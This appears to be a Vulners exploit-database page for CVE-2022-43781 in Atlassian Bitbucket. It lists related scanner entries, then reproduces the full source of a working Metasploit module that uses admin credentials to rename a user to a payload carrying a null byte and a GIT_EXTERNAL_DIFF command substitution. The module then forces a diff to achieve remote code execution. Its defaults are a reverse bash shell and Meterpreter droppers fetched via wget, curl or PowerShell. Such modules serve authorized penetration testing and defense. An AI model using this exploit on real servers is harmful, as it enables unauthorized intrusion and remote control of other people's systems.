| Reporter | Title | Published | Views | Family All 29 |
|---|---|---|---|---|
| Bitbucket Environment Variable Remote Command Injection Exploit | 16 Mar 202300:00 | – | zdt | |
| Atlassian Bitbucket < 7.6.19 / 7.17.12 / 7.21.6 / 8.0.5 / 8.1.5 / 8.2.4 / 8.3.3 / 8.4.2 Command Injection | 18 Jan 202300:00 | – | nessus | |
| Atlassian Bitbucket < 7.6.19 Command Injection | 24 Nov 202200:00 | – | nessus | |
| Atlassian Bitbucket 7.7.x < 7.17.12 Command Injection | 24 Nov 202200:00 | – | nessus | |
| Atlassian Bitbucket 7.18.x < 7.21.6 Command Injection | 24 Nov 202200:00 | – | nessus | |
| Atlassian Bitbucket 8.0.x < 8.0.5 Command Injection | 24 Nov 202200:00 | – | nessus | |
| Atlassian Bitbucket 8.1.x < 8.1.5 Command Injection | 24 Nov 202200:00 | – | nessus | |
| Atlassian Bitbucket 8.2.x < 8.2.4 Command Injection | 24 Nov 202200:00 | – | nessus | |
| Atlassian Bitbucket 8.3.x < 8.3.3 Command Injection | 24 Nov 202200:00 | – | nessus | |
| Atlassian Bitbucket 8.4.x < 8.4.2 Command Injection | 24 Nov 202200:00 | – | nessus |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Git
include Msf::Exploit::Git::SmartHttp
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Bitbucket Environment Variable RCE',
'Description' => %q{
For various versions of Bitbucket, there is an authenticated command injection
vulnerability that can be exploited by injecting environment
variables into a user name. This module achieves remote code execution
as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment
variable, a null character as a delimiter, and arbitrary code into a user's
user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable
will be run once the Bitbucket application is coerced into generating a diff.
This module requires at least admin credentials, as admins and above
only have the option to change their user name.
},
'License' => MSF_LICENSE,
'Author' => [
'Ry0taK', # Vulnerability Discovery
'y4er', # PoC and blog post
'Shelby Pace' # Metasploit Module
],
'References' => [
[ 'URL', 'https://y4er.com/posts/cve-2022-43781-bitbucket-server-rce/'],
[ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html'],
[ 'CVE', '2022-43781']
],
'Platform' => [ 'win', 'unix', 'linux' ],
'Privileged' => true,
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
'Targets' => [
[
'Linux Command',
{
'Platform' => 'unix',
'Type' => :unix_cmd,
'Arch' => [ ARCH_CMD ],
'Payload' => { 'Space' => 254 },
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'MaxLineChars' => 254,
'Type' => :linux_dropper,
'Arch' => [ ARCH_X86, ARCH_X64 ],
'CmdStagerFlavor' => %i[wget curl],
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
}
],
[
'Windows Dropper',
{
'Platform' => 'win',
'MaxLineChars' => 254,
'Type' => :win_dropper,
'Arch' => [ ARCH_X86, ARCH_X64 ],
'CmdStagerFlavor' => [ :psh_invokewebrequest ],
'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }
}
]
],
'DisclosureDate' => '2022-11-16',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
}
)
)
register_options(
[
Opt::RPORT(7990),
OptString.new('USERNAME', [ true, 'User name to log in with' ]),
OptString.new('PASSWORD', [ true, 'Password to log in with' ]),
OptString.new('TARGETURI', [ true, 'The URI of the Bitbucket instance', '/'])
]
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login'),
'keep_cookies' => true
)
return CheckCode::Unknown('Failed to retrieve a response from the target') unless res
return CheckCode::Safe('Target does not appear to be Bitbucket') unless res.body.include?('Bitbucket')
nokogiri_data = res.get_html_document
footer = nokogiri_data&.at('footer')
return CheckCode::Detected('Failed to retrieve version information from Bitbucket') unless footer
version_info = footer.at('span')&.children&.text
return CheckCode::Detected('Failed to find version information in footer section') unless version_info
vers_matches = version_info.match(/v(\d+\.\d+\.\d+)/)
return CheckCode::Detected('Failed to find version info in expected format') unless vers_matches && vers_matches.length > 1
version_str = vers_matches[1]
vprint_status("Found version #{version_str} of Bitbucket")
major, minor, revision = version_str.split('.')
rev_num = revision.to_i
case major
when '7'
case minor
when '0', '1', '2', '3', '4', '5'
return CheckCode::Appears
when '6'
return CheckCode::Appears if rev_num >= 0 && rev_num <= 18
when '7', '8', '9', '10', '11', '12', '13', '14', '15', '16'
return CheckCode::Appears
when '17'
return CheckCode::Appears if rev_num >= 0 && rev_num <= 11
when '18', '19', '20'
return CheckCode::Appears
when '21'
return CheckCode::Appears if rev_num >= 0 && rev_num <= 5
end
when '8'
print_status('Versions 8.* are vulnerable only if the mesh setting is disabled')
case minor
when '0'
return CheckCode::Appears if rev_num >= 0 && rev_num <= 4
when '1'
return CheckCode::Appears if rev_num >= 0 && rev_num <= 4
when '2'
return CheckCode::Appears if rev_num >= 0 && rev_num <= 3
when '3'
return CheckCode::Appears if rev_num >= 0 && rev_num <= 2
when '4'
return CheckCode::Appears if rev_num == 0 || rev_num == 1
end
end
CheckCode::Detected
end
def default_branch
@default_branch ||= Rex::Text.rand_text_alpha(5..9)
end
def uname_payload(cmd)
"#{datastore['USERNAME']}\u0000GIT_EXTERNAL_DIFF=$(#{cmd})"
end
def log_in(username, password)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login'),
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('login')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),
'keep_cookies' => true,
'vars_post' => {
'j_username' => username,
'j_password' => password,
'_atl_remember_me' => 'on',
'submit' => 'Log in'
}
)
fail_with(Failure::UnexpectedReply, 'Didn\'t retrieve a response') unless res
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'projects'),
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'No response from the projects page') unless res
unless res.body.include?('Logged in')
fail_with(Failure::UnexpectedReply, 'Failed to log in. Please check credentials')
end
end
def create_project
proj_uri = normalize_uri(target_uri.path, 'projects?create')
res = send_request_cgi(
'method' => 'GET',
'uri' => proj_uri,
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Unable to access project creation page') unless res&.body&.include?('Create project')
vprint_status('Retrieving security token')
html_doc = res.get_html_document
token_data = html_doc.at('div//input[@name="atl_token"]')
fail_with(Failure::UnexpectedReply, 'Failed to find element containing \'atl_token\'') unless token_data
@token = token_data['value']
fail_with(Failure::UnexpectedReply, 'No token found') if @token.blank?
project_name = Rex::Text.rand_text_alpha(5..9)
project_key = Rex::Text.rand_text_alpha(5..9).upcase
res = send_request_cgi(
'method' => 'POST',
'uri' => proj_uri,
'keep_cookies' => true,
'vars_post' => {
'name' => project_name,
'key' => project_key,
'submit' => 'Create project',
'atl_token' => @token
}
)
fail_with(Failure::UnexpectedReply, 'Failed to receive response from project creation') unless res
fail_with(Failure::UnexpectedReply, 'Failed to create project') unless res['Location']&.include?(project_key)
print_status('Project creation was successful')
[ project_name, project_key ]
end
def create_repository
repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos?create')
res = send_request_cgi(
'method' => 'GET',
'uri' => repo_uri,
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Failed to access repo creation page') unless res
html_doc = res.get_html_document
dropdown_data = html_doc.at('li[@class="user-dropdown"]')
fail_with(Failure::UnexpectedReply, 'Failed to find dropdown to retrieve email address') if dropdown_data.blank?
email = dropdown_data&.at('span')&.[]('data-emailaddress')
fail_with(Failure::UnexpectedReply, 'Failed to retrieve email address from response') if email.blank?
repo_name = Rex::Text.rand_text_alpha(5..9)
res = send_request_cgi(
'method' => 'POST',
'uri' => repo_uri,
'keep_cookies' => true,
'vars_post' => {
'name' => repo_name,
'defaultBranchId' => default_branch,
'description' => '',
'scmId' => 'git',
'forkable' => 'false',
'atl_token' => @token,
'submit' => 'Create repository'
}
)
fail_with(Failure::UnexpectedReply, 'No response received from repo creation') unless res
res = send_request_cgi(
'method' => 'GET',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'projects', @project_key, 'repos', repo_name, 'browse')
)
fail_with(Failure::UnexpectedReply, 'Repository was not created') if res&.code == 404
print_good("Successfully created repository '#{repo_name}'")
[ email, repo_name ]
end
def generate_repo_objects(email, repo_file_data = [], parent_object = nil)
txt_data = Rex::Text.rand_text_alpha(5..20)
blob_object = GitObject.build_blob_object(txt_data)
file_name = "#{Rex::Text.rand_text_alpha(4..10)}.txt"
file_data = {
mode: '100755',
file_name: file_name,
sha1: blob_object.sha1
}
tree_data = (repo_file_data.empty? ? [ file_data ] : [ file_data, repo_file_data ])
tree_obj = GitObject.build_tree_object(tree_data)
commit_obj = GitObject.build_commit_object({
tree_sha1: tree_obj.sha1,
email: email,
message: Rex::Text.rand_text_alpha(4..30),
parent_sha1: (parent_object.nil? ? nil : parent_object.sha1)
})
{
objects: [ commit_obj, tree_obj, blob_object ],
file_data: file_data
}
end
# create two files in two separate commits in order
# to view a diff and get code execution
def create_commits(email)
init_objects = generate_repo_objects(email)
commit_obj = init_objects[:objects].first
refs = {
'HEAD' => "refs/heads/#{default_branch}",
"refs/heads/#{default_branch}" => commit_obj.sha1
}
final_objects = generate_repo_objects(email, init_objects[:file_data], commit_obj)
repo_objects = final_objects[:objects] + init_objects[:objects]
new_commit = final_objects[:objects].first
new_file = final_objects[:file_data][:file_name]
git_uri = normalize_uri(target_uri.path, "scm/#{@project_key}/#{@repo_name}.git")
res = send_receive_pack_request(
git_uri,
refs['HEAD'],
repo_objects,
'0' * 40 # no commits should exist yet, so no branch tip in repo yet
)
fail_with(Failure::UnexpectedReply, 'Failed to push commit to repository') unless res
fail_with(Failure::UnexpectedReply, 'Git responded with an error') if res.body.include?('error:')
fail_with(Failure::UnexpectedReply, 'Git push failed') unless res.body.include?('unpack ok')
[ new_commit.sha1, commit_obj.sha1, new_file ]
end
def get_user_id(curr_uname)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin/users/view'),
'vars_get' => { 'name' => curr_uname }
)
matched_id = res.get_html_document&.xpath("//script[contains(text(), '\"name\":\"#{curr_uname}\"')]")&.first&.text&.match(/"id":(\d+)/)
fail_with(Failure::UnexpectedReply, 'No matches found for id of user') unless matched_id && matched_id.length > 1
matched_id[1]
end
def change_username(curr_uname, new_uname)
@user_id ||= get_user_id(curr_uname)
headers = {
'X-Requested-With' => 'XMLHttpRequest',
'X-AUSERID' => @user_id,
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}"
}
vars = {
'name' => curr_uname,
'newName' => new_uname
}.to_json
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'rest/api/latest/admin/users/rename'),
'ctype' => 'application/json',
'keep_cookies' => true,
'headers' => headers,
'data' => vars
)
unless res
print_bad('Did not receive a response to the user name change request')
return false
end
unless res.body.include?(new_uname) || res.body.include?('GIT_EXTERNAL_DIFF')
print_bad('User name change was unsuccessful')
return false
end
true
end
def commit_uri(project_key, repo_name, commit_sha)
normalize_uri(
target_uri.path,
'rest/api/latest/projects',
project_key,
'repos',
repo_name,
'commits',
commit_sha
)
end
def view_commit_diff(latest_commit_sha, first_commit_sha, diff_file)
commit_diff_uri = normalize_uri(
commit_uri(@project_key, @repo_name, latest_commit_sha),
'diff',
diff_file
)
send_request_cgi(
'method' => 'GET',
'uri' => commit_diff_uri,
'keep_cookies' => true,
'vars_get' => { 'since' => first_commit_sha }
)
end
def delete_repository(username)
vprint_status("Attempting to delete repository '#{@repo_name}'")
repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos', @repo_name.downcase)
res = send_request_cgi(
'method' => 'DELETE',
'uri' => repo_uri,
'keep_cookies' => true,
'headers' => {
'X-AUSERNAME' => username,
'X-AUSERID' => @user_id,
'X-Requested-With' => 'XMLHttpRequest',
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",
'ctype' => 'application/json',
'Accept' => 'application/json, text/javascript'
}
)
unless res&.body&.include?('scheduled for deletion')
print_warning('Failed to delete repository')
return
end
print_good('Repository has been deleted')
end
def delete_project(username)
vprint_status("Now attempting to delete project '#{@project_name}'")
send_request_cgi( # fails to return a response
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, 'projects', @project_key),
'keep_cookies' => true,
'headers' => {
'X-AUSERNAME' => username,
'X-AUSERID' => @user_id,
'X-Requested-With' => 'XMLHttpRequest',
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",
'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/projects/#{@project_key}/settings",
'ctype' => 'application/json',
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Accept-Encoding' => 'gzip, deflate'
}
)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'projects', @project_key),
'keep_cookies' => true
)
unless res&.code == 404
print_warning('Failed to delete project')
return
end
print_good('Project has been deleted')
end
def get_repo
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),
'keep_cookies' => true
)
unless res
print_status('Couldn\'t access repos page. Will create repo')
return []
end
json_data = JSON.parse(res.body)
unless json_data && json_data['size'] >= 1
print_status('No accessible repositories. Will attempt to create a repo')
return []
end
repo_data = json_data['values'].first
repo_name = repo_data['slug']
project_key = repo_data['project']['key']
unless repo_name && project_key
print_status('Could not find repo name and key. Creating repo')
return []
end
[ repo_name, project_key ]
end
def get_repo_info
unless @project_name && @project_key
print_status('Failed to find valid project information. Will attempt to create repo')
return nil
end
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri('projects', @project_key, 'repos', @project_name, 'commits'),
'keep_cookies' => true
)
unless res
print_status("Failed to access existing repository #{@project_name}")
return nil
end
html_doc = res.get_html_document
commit_data = html_doc.search('a[@class="commitid"]')
unless commit_data && commit_data.length > 1
print_status('No commits found for existing repo')
return nil
end
latest_commit = commit_data[0]['data-commitid']
prev_commit = commit_data[1]['data-commitid']
file_uri = normalize_uri(commit_uri(@project_key, @project_name, latest_commit), 'changes')
res = send_request_cgi(
'method' => 'GET',
'uri' => file_uri,
'keep_cookies' => true
)
return nil unless res
json = JSON.parse(res.body)
return nil unless json['values']
path = json['values']&.first&.dig('path')
return nil unless path
[ latest_commit, prev_commit, path['name'] ]
end
def exploit
@use_public_repo = true
datastore['GIT_USERNAME'] = datastore['USERNAME']
datastore['GIT_PASSWORD'] = datastore['PASSWORD']
if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?
fail_with(Failure::BadConfig, 'No credentials to log in with.')
end
log_in(datastore['USERNAME'], datastore['PASSWORD'])
@curr_uname = datastore['USERNAME']
@project_name, @project_key = get_repo
@repo_name = @project_name
@latest_commit, @first_commit, @diff_file = get_repo_info
unless @latest_commit && @first_commit && @diff_file
@use_public_repo = false
@project_name, @project_key = create_project
email, @repo_name = create_repository
@latest_commit, @first_commit, @diff_file = create_commits(email)
print_good("Commits added: #{@first_commit}, #{@latest_commit}")
end
print_status('Sending payload')
case target['Type']
when :win_dropper
execute_cmdstager(linemax: target['MaxLineChars'] - uname_payload('cmd.exe /c ').length, noconcat: true, temp: '.')
when :linux_dropper
execute_cmdstager(linemax: target['MaxLineChars'], noconcat: true)
when :unix_cmd
execute_command(payload.encoded.strip)
end
end
def cleanup
if @curr_uname != datastore['USERNAME']
print_status("Changing user name back to '#{datastore['USERNAME']}'")
if change_username(@curr_uname, datastore['USERNAME'])
@curr_uname = datastore['USERNAME']
else
print_warning('User name is still set to payload.' \
"Please manually change the user name back to #{datastore['USERNAME']}")
end
end
unless @use_public_repo
delete_repository(@curr_uname) if @repo_name
delete_project(@curr_uname) if @project_name
end
end
def execute_command(cmd, _opts = {})
if target['Platform'] == 'win'
curr_payload = (cmd.ends_with?('.exe') ? uname_payload("cmd.exe /c #{cmd}") : uname_payload(cmd))
else
curr_payload = uname_payload(cmd)
end
unless change_username(@curr_uname, curr_payload)
fail_with(Failure::UnexpectedReply, 'Failed to change user name to payload')
end
view_commit_diff(@latest_commit, @first_commit, @diff_file)
@curr_uname = curr_payload
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation